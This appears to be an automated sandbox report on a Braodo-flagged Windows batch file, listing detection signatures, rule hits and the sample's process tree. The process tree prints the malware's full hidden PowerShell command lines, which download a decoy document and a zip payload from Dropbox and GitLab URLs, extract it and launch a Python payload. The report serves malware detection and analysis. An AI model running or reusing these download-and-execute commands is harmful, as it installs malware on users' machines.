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Windows
Analysis Report
scut18bo03.bat
Overview
General Information
Detection
Abobus Obfuscator, Braodo
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 5836 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\scut1 8bo03.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5820 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 5876 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - findstr.exe (PID: 3872 cmdline:
findstr /L /I set "C :\Users\us er\Desktop \scut18bo0 3.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 320 cmdline:
findstr /L /I goto " C:\Users\u ser\Deskto p\scut18bo 03.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 4836 cmdline:
findstr /L /I echo " C:\Users\u ser\Deskto p\scut18bo 03.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 5556 cmdline:
findstr /L /I pause "C:\Users\ user\Deskt op\scut18b o03.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - find.exe (PID: 2448 cmdline:
fInd MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - find.exe (PID: 5948 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 6648 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 736 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 1720 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/2xk4d viogo9yr2o se1z39/17_ Advertisin g_Campaign _and_Colla boration.d ocx?rlkey= 4wos6vvfhg osyi024mde vofd9&st=9 zhl6gij&dl =1', 'C:\U sers\user\ AppData\Lo cal\Temp\\ 18_Adverti sing_Campa ign_and_Co llaboratio n.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5784 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user\ AppData\Lo cal\Temp\\ 18_Adverti sing_Campa ign_and_Co llaboratio n.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6008 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/bose151 1/mkt1511/ -/raw/main /18Fukrun. zip', 'C:\ Users\Publ ic\Documen t.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5556 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "Add-T ype -Assem blyName Sy stem.IO.Co mpression. FileSystem ; [System. IO.Compres sion.ZipFi le]::Extra ctToDirect ory('C:/Us ers/Public /Document. zip', 'C:/ Users/Publ ic/Documen t')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3528 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and " C:\U sers\Publi c\Document \pythonw.e xe C:\User s\Public\D ocument\DL Ls\rz_317. pd clickap p" MD5: 04029E121A0CFA5991749937DD22A1D9) - pythonw.exe (PID: 5616 cmdline:
"C:\Users\ Public\Doc ument\pyth onw.exe" C :\Users\Pu blic\Docum ent\DLLs\r z_317.pd c lickapp MD5: AD85B7A1F9B42B7CB9229CA895CC6ED2)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Subhash Popuri (@pbssubhash): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira URL Cloud: |
Source: | Integrated Neural Analysis Model: |
Source: | Binary or memory string: | memstr_fedfcd0f-e |
Source: | File created: | Jump to behavior |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
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Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | IP Address: | ||
Source: | IP Address: |
Source: | JA3 fingerprint: |
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: | ||
Source: | UDP traffic detected without corresponding DNS query: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | String found in binary or memory: |